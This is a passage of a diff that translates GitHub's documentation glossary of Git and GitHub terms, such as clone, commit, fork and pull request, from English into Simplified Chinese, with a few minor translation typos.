team's access - permissions and @mentions. -- term: clean + 在嵌套团队内,继承父团队访问权限和 @提及的子团队。 +- term: 清洁 description: >- - A working tree is clean if it corresponds to the revision referenced by the - current HEAD. Also see "dirty". -- term: clone + 如果工作树与当前 HEAD 引用的版本对应,则工作树是清洁的。另请参阅“脏”。 +- term: 克隆 description: >- - A clone is a copy of a repository that lives on your computer instead of on - a website's server somewhere, or the act of making that copy. When you make a - clone, you can edit the files in your preferred editor and use Git to keep - track of your changes without having to be online. The repository you cloned - is still connected to the remote version so that you can push your local - changes to the remote to keep them synced when you're online. -- term: clustering + 克隆是存在于计算机上(而不是网站的服务器上)的存储库副本,或者表示创建该副本的行为。进行克隆时,可以在无需联机的情况下,在首选编辑器中编辑文件并使用 Git 跟踪你的更改。克隆的存储库仍将连接到远程版本,这样你就可以将本地更改推送到远程,以便在联机时使其保持同步。 +- term: 聚类分析 description: >- - The ability to run GitHub Enterprise services across multiple nodes and load - balance requests between them. -- term: code frequency graph + 跨多个节点运行 GitHub Enterprise 服务并在它们之间实现请求的负载平衡的功能。 +- term: 代码频率图 description: >- - A repository graph that shows the content additions and deletions for each - week in a repository's history. -- term: code of conduct - description: A document that defines standards for how to engage in a community. -- term: code owner + 一种显示存储库历史记录中每周的内容添加和删除的存储库图。 +- term: 行为准则 + description: 定义关于如何参与社区的标准的文档。 +- term: 代码所有者 description: >- - A person who is designated as an owner of a portion of a repository's code. The code owner is automatically requested for review when someone opens a pull request (not in draft mode) that makes changes to code the code owner owns. -- term: collaborator + 被指定为部分存储库代码所有者的个人。当有人打开对代码所有者拥有的代码进行更改的拉取请求(非草稿模式)时,会自动请求代码所有者进行审查。 +- term: 协作者 description: >- - A collaborator is a person with read and write access to a repository who - has been invited to contribute by the repository owner. -- term: commit + 协作者是受存储库所有者邀请参与,对存储库拥有读取和写入权限的人。 +- term: 提交 (commit) description: >- - A commit, or "revision", is an individual change to a file (or set of - files). When you make a commit to save your work, Git creates a unique ID (a.k.a. the "SHA" or "hash") that allows you to keep record of the specific changes committed along with who made them and when. Commits usually contain a - commit message which is a brief description of what changes were made. -- term: commit author - description: The user who makes the commit. -- term: Commit graph + 提交或“修订”是对文件(或文件集)的单独更改。当提交以保存工作时,Git 将创建一个唯一的 ID(也称为“SHA”或“哈希”),它允许记录提交的特定更改以及提交者和提交时间。提交通常包含提交消息,该消息简要说明所做的更改。 +- term: 提交作者 + description: 进行提交的用户。 +- term: 提交图 description: >- - A repository graph that shows all the commits made to a repository in the - past year. -- term: commit ID - description: Also known as SHA. A 40-character checksum hash that identifies the commit. -- term: commit message + 显示过去一年对存储库的所有提交的存储库图。 +- term: 提交 ID + description: 也称为 SHA。用于识别提交的 40 个字符的校验和哈希。 +- term: 提交消息 description: >- - Short, descriptive text that accompanies a commit and communicates the change - the commit is introducing. -- term: compare branch + 随附于提交的简短描述性文字,用于沟通提交引入的更改。 +- term: 比较分支 description: >- - The branch you use to create a pull request. - This branch is compared to the base branch you choose for the pull request, and the changes are identified. - When the pull request is merged, the base branch is updated with the changes from the compare branch. - Also known as the "head branch" of the pull request. -- term: continuous integration + 用于创建拉取请求的分支。将此分支与为拉取请求选择的基础分支进行比较,并识别更改。合并拉取请求时,基础分支将使用比较分支中的更改进行更新。也称为拉取请求的“头部分支”。 +- term: 持续集成 description: >- - Also known as CI. A process that runs automated builds and tests once a person commits a change to a configured repository on GitHub. CI is a common best practice in software development that helps detect errors. -- term: contribution graph + 也称为 CI。有人将更改提交到 GitHub 上配置的存储库后,就会运行自动生成和测试的过程。CI 是软件开发中常见的最佳做法,有助于检测错误。 +- term: 参与图 description: >- - The part of a user's profile that shows their contributions over a period of - up to one year, day by day. -- term: contribution guidelines - description: A document explaining how people should contribute to your project. -- term: contributions + 用户个人资料中显示其参与记录(最长一年,按天显示)的部分。 +- term: 参与指南 + description: 说明人们应如何参与项目的文档。 +- term: 参与 description: >- - Specific activities on GitHub that will: - - Add a square to a user's contribution graph: "[What counts as a contribution](/articles/viewing-contributions-on-your-profile/#what-counts-as-a-contribution)" - - Add activities to a user's timeline on their profile: "[Contribution activity](/articles/viewing-contributions-on-your-profile/#contribution-activity)" -- term: contributor + GitHub 上的特定活动,将会:- 添加方块到用户的参与图:“[什么算作参与](/articles/viewing-contributions-on-your-profile/#what-counts-as-a-contribution)”- 添加活动到用户个人资料上的时间线:“[参与活动](/articles/viewing-contributions-on-your-profile/#contribution-activity)” +- term: 参与者 description: >- - A contributor is someone who does not have collaborator access to a repository but has contributed to a project and had a pull request they opened merged into the repository. -- term: contributors graph - description: A repository graph that displays the top 100 contributors to a repository. -- term: coupon + 参与者是指对存储库没有协作者权限但参与过项目,并且他们打开的拉取请求已合并到存储库的人员。 +- term: 参与者图 + description: 显示存储库前 100 个参与者的存储库图。 +- term: 优惠券 description: >- - A GitHub-provided code that users or organizations can use to pay for all or - part of their subscription. + 一种由 GitHub 提供的代码,用户或组织可使用它支付其所有或部分订阅费用。 - term: cron - description: A time-based job scheduler in Unix-like computer operating systems. + description: 类似于 Unix 的计算机操作系统中的一个基于时间的作业计划程序。 - term: cURL - description: Used in command lines or scripts to transfer data. -- term: dashboard + description: 在命令行或脚本中用于传输数据。 +- term: 仪表板 description: >- - Your personal dashboard is the main hub of your activity on GitHub. From your personal dashboard, you can keep track of issues and pull requests you're following or working on, navigate to your top repositories and team pages, and learn about recent activity in repositories you're watching or participating in. You can also discover new repositories, which are recommended based on users you're following and repositories you have starred. To only view activity for a specific organization, visit your organization's dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)" or "[About your organization dashboard](/articles/about-your-organization-dashboard)." -- term: default branch + 个人仪表板是 GitHub 上的活动的主要中心。通过个人仪表板,可跟踪正在关注或处理的问题和拉取请求、导航到顶层存储库和团队页面,以及了解正在关注或参与的存储库中的最近活动。还可以发现新的存储库,这些存储库是根据正在关注的用户和已加星标的存储库而推荐的。要仅查看特定组织的活动,请访问该组织的仪表板。有关详细信息,请参阅“[关于个人仪表板](/articles/about-your-personal-dashboard)”或“[关于组织仪表板](/articles/about-your-organization-dashboard)”。 +- term: 默认分支 description: >- - The base branch for new pull requests and code commits in a repository. Each repository has at least one branch, which Git creates when you initialize the repository. The first branch is usually called {% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %}, and is often the default branch. -- term: dependents graph + 存储库中新拉取请求和代码提交的基础分支。每个存储库至少具有一个分支,Git 在初始化存储库时将会创建该分支。第一个分支通常被称为 {% ifversion ghes < 3.2 %}`master`{% else %}`main`{% endif %},通常是默认分支。 +- term: 依赖项图 description: >- - A repository graph that shows the packages, projects, and repositories that depend on a - public repository. -- term: dependency graph + 一种显示依赖于公共存储库的包、项目和存储库的存储库图。 +- term: 依赖项关系图 description: >- - A repository graph that shows the packages and projects that the repository depends on. -- term: deploy key + 一种显示存储库所依赖的包和项目的存储库图。 +- term: 部署密钥 description: >- - A deploy key is an SSH key that is stored on your server and grants access - to a single GitHub repository. This key is attached directly to the - repository instead of to a personal user account. -- term: detached HEAD + 部署密钥是存储在服务器上并授予对单个 GitHub 存储库的访问权限的 SSH 密钥。此密钥直接附加到存储库,而不是附加到个人用户帐户。 +- term: 拆离的 HEAD description: >- - Git will warn you if you're working on a detached HEAD, which means that Git - is not pointing to a branch and that any commits you make will not appear in - commit history. For example, when you check out an arbitrary commit that - is not the latest commit of any particular branch, you're working on a - "detached HEAD." -- term: diagnostics - description: An overview of a GitHub Enterprise instance's settings and environment. + 如果正在处理拆离的 HEAD,Git 将发出警告,这意味着 Git 没有指向某个分支,并且所做的任何提交都不会出现在提交历史记录中。 例如,当签出不属于任何特定分支的最新提交的任意提交时,表示你正在处理“拆离的 HEAD”。 +- term: 诊断 + description: GitHub Enterprise 实例设置和环境的概述。 - term: diff description: >- - A diff is the difference in changes between two commits, or saved changes. - The diff will visually describe what was added or removed from a file since - its last commit. + 差异是两次提交或保存的更改之间的更改差异。差异将直观地描述自上次提交以来文件中添加的或删除的内容。 - term: directory description: >- - A folder containing one or more files or folders. You can create directories to organize the contents of a repository. -- term: dirty + 包含一个或多个文件/文件夹的文件夹。可以创建目录来组织存储库的内容。 +- term: 脏 description: >- - A working tree is considered "dirty" if it contains modifications that have - not been committed to the current branch. -- term: email notifications - description: Notifications sent to a user's email address. -- term: enterprise account - description: Enterprise accounts allow you to centrally manage policy and billing for multiple organizations. {% data reusables.gated-features.enterprise-accounts %} -- term: Explorer + 工作树如果包含尚未提交到当前分支的更改,将被视为“脏”。 +- term: 电子邮件通知 + description: 已发送到用户的电子邮件地址的通知。 +- term: 企业帐户 + description: "企业帐户允许集中管理多个组织的策略和计费。{% data reusables.gated-features.enterprise-accounts %}" +- term: 资源管理器 description: >- - An instance of GraphiQL, which is a "graphical interactive in-browser GraphQL - IDE." -- term: fast-forward + GraphiQL 的实例,它是“图形交互式浏览器内 GraphQL IDE”。 +- term: 转发 description: >- - A fast-forward is a special type of merge where you have a revision and you - are "merging" another branch's changes that happen to be a descendant of - what you have. In such a case, you do not make a new merge commit but - instead just update to this revision. This will happen frequently on a - remote-tracking branch of a remote repository. -- term: feature branch + 转发是一种特殊类型的合并,其中有一个修订,并且你将“合并”另一个分支的更改,这些更改恰好是你所拥有的内容的后代。在这种情况下,不会进行新的合并提交,而只是更新到此修订。这将在远程存储库的远程跟踪分支上经常发生。 +- term: 功能分支 description: >- - A branch used to experiment with a new feature or fix an issue that is not in production. Also called a topic branch. -- term: fenced code block - description: An indented block of code you can create with GitHub Flavored Markdown using triple backticks \`\`\` before and after the code block. See this [example](/articles/creating-and-highlighting-code-blocks#fenced-code-blocks). -- term: fetch + 用于试验新功能或修复非生产环境中的问题的分支。也称为主题分支。 +- term: 围栏代码块 + description: "可以在代码块前后使用三个反引号 \\`\\`\\` 通过 GitHub 风格的 Markdown 创建的缩进代码块。请参阅此 [示例](/articles/creating-and-highlighting-code-blocks#fenced-code-blocks)。" +- term: “etch description: >- - When you use `git fetch`, you're adding changes from the remote repository to - your local working branch without committing them. Unlike `git pull`, fetching - allows you to review changes before committing them to your local branch. -- term: following (users) - description: To get notifications about another user's contributions and activity. -- term: force push + 当使用 `git fetch` 时,将更改从远程存储库添加到本地工作分支,而无需提交它们。与 `git pull` 不同,提取允许在将更改提交到本地分支之前查看该更改。 +- term: 跟进(用户) + description: 用于获取关于另一个用户的贡献和活动的通知。 +- term: 强制推送 description: >- - A Git push that overwrites the remote repository with local changes without - regard for conflicts. -- term: fork + 使用本地更改覆盖远程存储库而不考虑冲突的 Git 推送。 +- term: 分支 description: >- - A fork is a personal copy of another user's repository that lives on your - account. Forks allow you to freely make changes to a project without - affecting the original upstream repository. You can also open a pull request in - the upstream repository and keep your fork synced with the latest changes since - both repositories are still connected. -- term: Free plan + 分支是位于帐户中的其他用户存储库的个人副本。通过分支,可随意更改项目,而不会影响原始上游存储库。还可以在上游存储库中打开拉取请求,并使分支与最新更改保持同步,因为这两个存储库仍处于连接状态。 +- term: 免费计划 description: >- - A user account billing plan that is free. Users can collaborate on unlimited - public repositories with unlimited collaborators. + 免费的用户帐户计费计划。用户可以与无限的协作者协作处理无限的公共存储库。 - term: gist description: >- - A gist is a shareable file that you can edit, clone, and fork on GitHub. - You can make a gist {% ifversion ghae %}internal{% else %}public{% endif %} or secret, although secret gists will be - available to {% ifversion ghae %}any enterprise member{% else %}anyone{% endif %} with the URL. + gist 是一个可共享的文件,可在 GitHub 上对其进行编辑、克隆和创建分支。可以将 gist 设为{% ifversion ghae %}internal{% else %}公开{% endif %}或机密,但任何{% ifversion ghae %}any enterprise member{% else %}拥有该 URL 的人{% endif %}都可以使用机密。 - term: Git description: >- - Git is an open source program for tracking changes in text files. It was - written by the author of the Linux operating system, and is the core - technology that GitHub, the social and user interface, is built on top of. -- term: GitHub App + Git 是一个开源程序,用于跟踪文本文件中的更改。它由 Linux 操作系统的作者编写,是 GitHub、社交和用户界面赖以构建的核心技术。 +- term: GitHub Apps description: >- - GitHub Apps provide a service to an entire organization and use their own - identity when performing their function. They can be installed directly on - organizations and user accounts and granted access to specific repositories. - They come with granular permissions and built-in webhooks. -- term: GitHub Flavored Markdown - description: GitHub-specific Markdown used to format prose and code across GitHub. See [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) or [Getting started with writing and formatting on GitHub](/articles/getting-started-with-writing-and-formatting-on-github). -- term: GitHub Importer + GitHub Apps 为整个组织提供服务,并在执行其功能时使用自己的标识。它们可以直接安装在组织和用户帐户上,并获得对特定存储库的访问权限。它们随附精细的权限和内置的 Webhook。 +- term: GitHub 风格的 Markdown + description: "GitHub 特定的 Markdown,用于在 GitHub 上格式化 prose 和代码。请参阅 [GitHub 风格的 Markdown 规范](https://github.github.com/gfm/) 或 [在 GitHub 上编写和设置格式入门](/articles/getting-started-with-writing-and-formatting-on-github)。" +- term: GitHub 导入工具 description: >- - A tool that quickly imports source code repositories, including commits and - revision history, to GitHub for users. + 一种可让用户快速将源代码存储库(包括提交和修订历史记录)导入 GitHub 的工具。 - term: GitHub Jobs description: >- - A GitHub site where employers can post jobs that GitHub users may be - interested in. + 一个 GitHub 网站,雇主可在其中发布 GitHub 用户可能感兴趣的职位。 - term: GitHub Marketplace description: >- - A subsite for GitHub users and organizations to purchase and install - applications that extend and complement their workflow. + GitHub 用户和组织用于购买和安装可扩展及补充其工作流的应用程序的子站点。 - term: GitHub Pages description: >- - Also referred to as Pages. A static site hosting service designed to host - your personal, organization, or project pages directly from a GitHub - repository. + 也称为 Pages。设计为直接托管 GitHub 存储库中的个人、组织或项目页面的静态站点托管服务。 - term: GitHub Wiki - description: A section for hosting wiki style documentation on a GitHub repository. + description: 用于在 GitHub 存储库上托管 Wiki 样式文档的部分。 - term: gitfile description: >- - A plain `.git` file, which is always at the root of a working tree and points to the Git directory, which has the entire Git repository and its meta data. You can view this file for your repository on the command line with `git rev-parse --git-dir`. - that is the real repository. + 一个纯文本 `.git` 文件,它始终位于工作树的根目录中,并指向包含整个 Git 存储库及其元数据的 Git 目录。可在命令行上使用作为真正存储库的 `git rev-parse --git-dir` 查看存储库的此文件。 - term: GraphQL description: >- - A query language for APIs and a runtime for fulfilling those queries with - your existing data. + 一种针对 API 的查询语言,以及用于使用现有数据完成这些查询的运行时。 - term: HEAD - description: A defined commit of a branch, usually the most recent commit at the tip of the branch. -- term: head branch - description: The branch whose changes are combined into the base branch - when you merge a pull request. - Also known as the "compare branch." + description: 定义的分支提交,通常是分支顶端的最新提交。 +- term: 头部分支 + description: 合并拉取请求时,将其更改合并到基础分支中的分支。也称为“比较分支”。 - term: 'Hello, World' description: >- - A "Hello, World!" program is a computer program that outputs or displays - "Hello, World!" to a user. Since this program is usually very simple, it is - often used as an example of a programming language's basic syntax and - serves as a common first exercise for learning a new programming language. -- term: high-availability + “Hello, World”程序是向用户输出或显示“Hello, World!”的计算机程序。由于此程序通常非常简单,因此常被用作编程语言的基本语法的示例,并作为学习新编程语言的第一个常见练习。 +- term: 高可用性 description: >- - A system or component that is continuously operational for a desirably long - length of time. -- term: hook + 可持续运行较长时间的系统或组件。 +- term: 挂钩 description: >- - During the normal execution of several Git commands, call-outs are made to - optional scripts that allow a developer to add functionality or checking. - Typically, the hooks allow for a command to be pre-verified and potentially - aborted, and allow for a post-notification after the operation is done. + 在几个 Git 命令的正常执行过程中,将调用允许开发人员添加功能或进行检查的可选脚本。通常,挂钩允许预先验证且可能中止的命令,并允许在操作完成后发布后通知。 - term: hostname description: >- - Human-readable nicknames that correspond to the address of a device - connected to a network. -- term: identicon + 人类可读的昵称,与连接到网络的设备地址对应。 +- term: 默认肖像 description: >- - An auto-generated image used as a default profile photo when users sign up for - GitHub. Users can replace their identicon with their own profile photo. -- term: identity provider + 当用户注册 GitHub 时,用作默认个人资料照片的自动生成图像。用户可以用自己的个人资料照片替换其标识图标。 +- term: 标识提供者 description: >- - Also known as an IdP. A trusted provider that lets you use SAML single - sign-on (SSO) to access other websites. + 也称为 IdP。受信任的提供者,可让你使用 SAML 单一登录 (SSO) 访问其他网站。 - term: instance description: >- - An organization's private copy of GitHub contained within a virtual machine - that they configure and control. -- term: integration + 包含在组织配置和控制的虚拟机中的组织 GitHub 私人副本。 +- term: 集成 description: >- - A third-party application that integrates with GitHub. These can be GitHub - Apps, OAuth Apps, or webhooks. -- term: issue + 与 GitHub 集成的第三方应用程序。这些应用程序可以是 GitHub Apps、OAuth Apps 或 Webhook。 +- term: 问题 description: >- - Issues are suggested improvements, tasks or questions related to the - repository. Issues can be created by anyone (for public repositories), and - are moderated by repository collaborators. Each issue contains its own discussion thread. You can also categorize an issue with labels and assign it to someone. + 问题是与存储库相关的建议改进、任务或问题。问题可由任何人创建(对于公共存储库),并由存储库协作者进行管理。每个问题都包含自己的讨论线程。还可以使用标签对问题进行分类,并将其分配给某人。 - term: Jekyll - description: A static site generator for personal, project, or organization sites. -- term: Jekyll Theme Chooser + description: 针对个人、项目或组织站点的静态站点生成器。 +- term: Jekyll 主题选择器 description: >- - An automated way to select a visual theme for your Jekyll site without editing or - copying CSS files. -- term: key fingerprint - description: A short sequence of bytes used to identify a longer public key. -- term: keychain - description: A password management system in macOS. -- term: keyword - description: A specific word that closes an issue when used within a pull request. + 一种无需编辑或复制 CSS 文件即可为 Jekyll 站点选择视觉对象主题的自动化方式。 +- term: 密钥指纹 + description: 用于标识较长公钥的短字节序列。 +- term: 密钥链 + description: macOS 中的密码管理系统。 +- term: 关键字 (keyword) + description: 用在拉取请求中时可关闭问题的特定词。 - term: label description: >- - A tag on an issue or pull request. Repositories come with a handful of - default labels, but users can create custom labels. + 问题或拉取请求上的标记。存储库随附一系列默认标签,但用户也可创建自定义标签。 - term: LFS description: >- - Git Large File Storage. An open source Git extension for versioning large - files. + Git Large File Storage。一种开源 Git 扩展,用于对大文件进行版本控制。 - term: license description: >- - A document that you can include with your project to let people know what - they can and can't do with your source code. + 一种可随附于项目的文档,告知人们能够对源代码执行哪些操作,不能执行哪些操作。 - term: Linguist description: >- - A library used on GitHub to detect blob languages, ignore binary or vendored - files, suppress generated files in diffs, and generate language breakdown - graphs. -- term: line comment - description: A comment within a pull request on a specific line of code. -- term: line ending + GitHub 上使用的一个库,用于检测 Blob l语言,忽略二进制或 vendor 文件,抑制差异中生成的文件,以及生成语言细分图。 +- term: 行注释 + description: 拉取请求内特定代码行上的评论。 +- term: 行结束符 description: >- - An invisible character or characters that symbolize the end of a line in a - text file. -- term: locked personal account + 用符号表示文本文件中一行结束的不可见字符。 +- term: 已锁定个人帐户 description: >- - A personal account that cannot be accessed by the user. Accounts are locked - when users downgrade their paid account to a free one, or if their paid plan - is past due. -- term: management console + 用户无法访问的个人帐户。当用户将其付费帐户降级到免费帐户或者其付费计划过期时,帐户将被锁定。 +- term: 管理控制台 description: >- - A section within the GitHub Enterprise interface that contains - administrative features. + GitHub Enterprise 界面中包含管理功能的部分。 - term: Markdown description: >- - Markdown is an incredibly simple semantic file format, not too dissimilar - from .doc, .rtf and .txt. Markdown makes it easy for even those without a - web-publishing background to write prose (including with links, lists, - bullets, etc.) and have it displayed like a website. GitHub supports - Markdown and uses a particular form of Markdown called GitHub Flavored Markdown. See [GitHub Flavored Markdown Spec](https://github.github.com/gfm/) or [Getting started with writing and formatting on GitHub](/articles/getting-started-with-writing-and-formatting-on-github). -- term: markup - description: A system for annotating and formatting a document. + Markdown 是一种非常简单的语义文件格式,与 .doc、.rtf 及 .txt 区别不大。Markdown 可帮助没有网络发布功底的人编写 prose(包括链接、列表、项目符号等)并将其显示为网站。GitHub 支持 Markdown 并使用一种特殊形式的 Markdown,称为 GitHub 风格的 Markdown。请参阅 [GitHub 风格的 Markdown 规范](https://github.github.com/gfm/) 或 [在 GitHub 上编写和设置格式入门](/articles/getting-started-with-writing-and-formatting-on-github)。 +- term: 标记 + description: 一种用于注释和格式化文档的系统。 - term: main description: >- - The default development branch. Whenever you create a Git repository, - a branch named `main` is created, and becomes the active branch. - In most cases, this contains the local development, though that is purely by - convention and is not required. -- term: master + {% ifversion fpt or ghes > 3.1 or ghae %}默认开发分支。每当创建 Git 存储库时,都会创建一个名为 `main` 的分支,并使其成为活动分支。在大多数情况下,这包含本地开发,不过这纯粹是按照惯例的,也不是必需的。{% else %}通常选择名称作为存储库默认分支的 `master` 的替代品。{% endif %} +- term: 主 description: >- - The default branch in many Git repositories. By default, when you create - a new Git repository on the command line, a branch called `master` is created. - Many tools now use an alternative name for the default branch. For example, - when you create a new repository on GitHub, the default branch is called `main`. -- term: members graph - description: A repository graph that shows all the forks of a repository. -- term: mention + 许多 Git 存储库中的默认分支。默认情况下,每当在命令行上创建新的 Git 存储库时,都会创建一个名为 `master` 的分支。许多工具现在为默认分支使用替代名称。{% ifversion fpt or ghes > 3.1 or ghae %}例如,当在 GitHub 上创建新存储库时,默认分支称为 `main`。{% endif %} +- term: 成员图 + description: 显示存储库所有分支的存储库图。 +- term: 提及 description: >- - A notification sent to a user by prefacing their username with the @ symbol. - Users in an organization on GitHub can also be a part of a team that can be - mentioned. + 通过在用户名前加上 @ 符号发送给用户的通知。GitHub 上组织中的用户也可以是可以被提及的团队中的一员。 - term: merge description: >- - Merging takes the changes from one branch (in the same repository or from a - fork), and applies them into another. This often happens as a "pull request" - (which can be thought of as a request to merge), or via the command line. A - merge can be done through a pull request via the GitHub.com web - interface if there are no conflicting changes, or can always be done via the - command line. -- term: merge conflict + 合并从一个分支(在同一个存储库中或来自分支)中获取更改并将其应用到另一个分支。这通常作为“拉取请求”(可被视为合并请求)或通过命令行发生。如果没有冲突的更改,可以通过 GitHub.com Web 界面的拉取请求完成合并,也可以始终通过命令行完成合并。 +- term: 合并冲突 description: >- - A difference that occurs between merged branches. Merge conflicts happen - when people make different changes to the same line of the same file, or - when one person edits a file and another person deletes the same file. The - merge conflict must be resolved before you can merge the branches. -- term: milestone + 合并分支之间发生的差异。当人们对相同文件的相同行进行不同的更改时,或者一个人编辑文件而另一个人删除同一文件时,就会发生合并冲突。必须先解决合并冲突,然后才能合并分支。 +- term: 里程碑 description: >- - A way to track the progress on groups of issues or pull requests in a - repository. -- term: mirror - description: A new copy of a repository. -- term: nested team + 一种跟踪存储库中问题或拉取请求组进度的方式。 +- term: 镜像 + description: 存储库的新副本。 +- term: 嵌套团队 description: >- - A child team of a parent team. You can have multiple children (or nested) - teams. -- term: network graph + 父团队的子团队。可以拥有多个子(或嵌套)团队。 +- term: 网络图 description: >- - A repository graph that shows the branch history of the entire repository - network, including branches of the root repository and branches of forks - that contain commits unique to the network. -- term: news feed + 显示整个存储库网络的分支历史记录的存储库图,其中包括根存储库的分支以及包含网络独有提交的分叉的分支。 +- term: 消息馈送 description: >- - An activity view of repositories or people you watch. An organization's News - Feed shows activity on repositories owned by the organization. -- term: non-fast-forward + 监视的存储库或人员的活动视图。组织的消息馈送显示该组织拥有的存储库上的活动。 +- term: 非快进 description: >- - When your local copy of a repository is out-of-sync with the upstream - repository and you need to fetch the upstream changes before you push your - local changes. -- term: notification + 当存储库的本地副本未与上游存储库同步时,需要在推送本地更改之前获取上游更改。 +- term: 通知 description: >- - Updates, delivered by either the web or email depending on your settings, - that give you information about the activities you're interested in. + 通过 Web 或电子邮件(具体取决于你的设置)提供的更新,它提供有关你感兴趣的活动的信息。 - term: OAuth App description: >- - A third-party application that uses access tokens rather than passwords to - access information for users. -- term: OAuth token - description: The access token used in OAuth Apps to access information for users. -- term: outside collaborator + 使用访问令牌而非密码来访问用户信息的第三方应用程序。 +- term: OAuth 令牌 + description: OAuth Apps 中用于访问用户信息的访问令牌。 +- term: 外部协作者 description: >- - A user who has been given access to one or more of an organization’s - repositories, but has no other access to the organization and is not a - member of the organization. -- term: open source + 已被授予对组织的一个或多个存储库的访问权限,但对该组织没有其他访问权限且不属于组织成员的用户。 +- term: 开源 description: >- - Open source software is software that can be freely used, modified, and - shared (in both modified and unmodified form) by anyone. Today the concept - of "open source" is often extended beyond software, to represent a - philosophy of collaboration in which working materials are made available - online for anyone to fork, modify, discuss, and contribute to. + 开源软件是任何人都可以自由使用、修改和共享(以修改和未修改的形式)的软件。今天,“开源”的概念往往超越了软件,它代表一种协作理念:任何人都可以在线获取工作材料,然后创建分支、修改和讨论它们并为项目做出贡献。 - term: organization description: >- - Organizations are a group of two or more users that typically mirror - real-world organizations. They are administered by users and can contain - both repositories and teams. -- term: organization owner - description: Users who have full administrative access to the organization they own. + 组织是由两个或多个用户组成的组,它们通常反映了真实世界的组织。它们由用户管理,可以同时包含存储库和团队。 +- term: 组织所有者 + description: 对自己拥有的组织具有完全管理访问权限的用户。 - term: origin description: >- - The default upstream repository. Most projects have at least one upstream - project that they track. By default, origin is used for that purpose. + 默认上游存储库。大多数项目至少有一个他们跟踪的上游项目。默认情况下,原点用于此目的。 - term: owner description: >- - Organization members that have complete administrative access to the - organization. -- term: parent team + 对组织具有完全管理权限的组织成员。 +- term: 父团队 description: >- - Within nested teams, the main team from which child teams inherit access - permissions and @mentions. -- term: participating notifications + 在嵌套团队内,子团队继承访问权限和 @提及的主要团队。 +- term: 参与通知 description: >- - A notification about an update in a conversation in an issue or pull request - where your username or team was mentioned or where you have previously replied - in a comment. -- term: permalink - description: A permanent static hyperlink to a particular web page. -- term: personal account + 关于用户名或团队被提及或之前在评论中回复的问题或拉取请求中对话更新的通知。 +- term: 永久链接 + description: 指向特定网页的永久静态超链接。 +- term: 个人帐户 description: >- - A GitHub account that belongs to an individual user. -- term: primary email address + 属于个别用户的 GitHub 帐户。 +- term: 主电子邮件地址 description: >- - The main email address where GitHub sends receipts, credit card or PayPal - charges, and other billing-related communication. -- term: pinned repository + GitHub 用于发送收据、信用卡或 PayPal 费用及其他计费相关信息的主要电子邮件地址。 +- term: 固定存储库 description: >- - A repository that a user has decided to display prominently on their - profile. -- term: pre-receive hooks + 用户已决定在其个人资料中突出显示的存储库。 +- term: 预接收挂钩 description: >- - Scripts that run on the GitHub Enterprise server that you can use to - implement quality checks. -- term: private contributions - description: Contributions made to a private (vs. public) repository. -- term: private repository + 在可用于实现质量检查的 GitHub Enterprise 服务器上运行的脚本。 +- term: 专用贡献 + description: 对专用(与公共相对)存储库的贡献。 +- term: 专用存储库 description: >- - Private repositories are only visible to the repository owner and - collaborators that the owner specified. -- term: production branch + 专用存储库仅对存储库所有者和所有者指定的协作者可见。 +- term: 生产分支 description: >- - A branch with final changes that are ready to be used or deployed to an application or site. -- term: profile - description: The page that shows information about a user's activity on GitHub. -- term: profile photo + 包含可使用或部署到应用程序或站点的最终更改的分支。 +- term: 个人资料 + description: 显示 GitHub 上用户活动相关信息的页面。 +- term: 个人资料照片 description: >- - A custom image users upload to GitHub to identify their activity, usually - along with their username. This is also referred to as an avatar. -- term: project board + 用户上传到 GitHub 的自定义图像,用于标识其活动,通常与其用户名结合使用。这也称为“应用”。 +- term: 项目板 description: >- - Boards within GitHub that are made up of issues, pull requests, and notes - that are categorized as cards in columns. -- term: protected branch + GitHub 内由问题、拉取请求和注释组成的板,按列分类为卡。 +- term: 受保护分支 description: >- - Protected branches block several features of Git on a branch that a - repository administrator chooses to protect. They can't be force pushed, - deleted, have changes merged without required checks passing or required - reviews approved, or have files uploaded to it from the GitHub web - interface. A protected branch is usually the default branch. -- term: public contributions - description: Contributions made to a public (vs. private) repository. -- term: public repository + 受保护分支在存储库管理员选择保护的分支上阻止 Git 的多个功能。不能在没有通过所需检查或批准所需审查的情况下强制推送、删除、合并更改这些分支,也不能将文件从 GitHub Web 界面上传到它。受保护分支通常为默认分支。 +- term: 公共贡献 + description: 对公共(与专用相对)存储库的贡献。 +- term: 公共存储库 description: >- - A public repository can be viewed by anyone, including people who aren't - GitHub users. + 公共存储库可供任何人查看,包括不是 GitHub 用户的人员。 - term: pull description: >- - Pull refers to when you are fetching in changes and merging them. For - instance, if someone has edited the remote file you're both working on, - you'll want to pull in those changes to your local copy so that it's up to - date. See also fetch. -- term: pull access - description: A synonym for read access. -- term: pull request + 拉取指的是提取更改并合并这些更改的行为。例如,如果有人编辑了你们正在合作处理的远程文件,则需要将这些更改拉取到本地副本,以使其保持最新状态。另请参阅“提取”。 +- term: 拉取权限 + description: 读取权限的同义词。 +- term: 拉取请求 description: >- - Pull requests are proposed changes to a repository submitted by a user and - accepted or rejected by a repository's collaborators. Like issues, pull - requests each have their own discussion forum. -- term: pull request review + 拉取请求是由用户提交的对存储库的建议更改,由存储库协作者接受或拒绝。与问题一样,每个拉取请求都有自己的讨论论坛。 +- term: 拉取请求审查 description: >- - Comments from collaborators on a pull request that approve the changes or - request further changes before the pull request is merged. -- term: pulse graph - description: A repository graph that gives you an overview of a repository's activity. -- term: punch graph + 拉取请求中协作者批准更改或在拉取请求合并之前申请进一步更改的评论。 +- term: 脉冲图 + description: 提供存储库活动概述的存储库图。 +- term: 打卡图 description: >- - A repository graph that shows the frequency of updates to a repository based - on the day of week and time of day + 根据周日期和时间显示存储库更新频率的存储库图 - term: push description: >- - To push means to send your committed changes to a remote repository on - GitHub.com. For instance, if you change something locally, you can push those changes so that others may access them. -- term: push a branch + 推送意味着将提交的更改发送到 GitHub.com 上的远程存储库。例如,如果在本地更改了某些内容,则可以推送这些更改,以便其他人可以访问它们。 +- term: 推送分支 description: >- - When you successfully push a branch to a remote repository, you update the remote branch with changes from your local branch. When you "push a branch", Git will search for the branch's HEAD ref in the remote repository and verify that it is a direct ancestor to the branch's local HEAD ref. Once verified, Git pulls all objects (reachable from the local HEAD ref and missing from the remote repository) into the remote object database and then updates the remote HEAD ref. If the remote HEAD is not an ancestor to the local HEAD, the push fails. -- term: push access - description: A synonym for write access. -- term: read access + 如果成功将分支推送到远程存储库,则可以使用本地分支中的更改更新远程分支。当“推送分支”时,Git 将在远程存储库中搜索分支的 HEAD 引用,并验证它是否是该分支的本地 HEAD 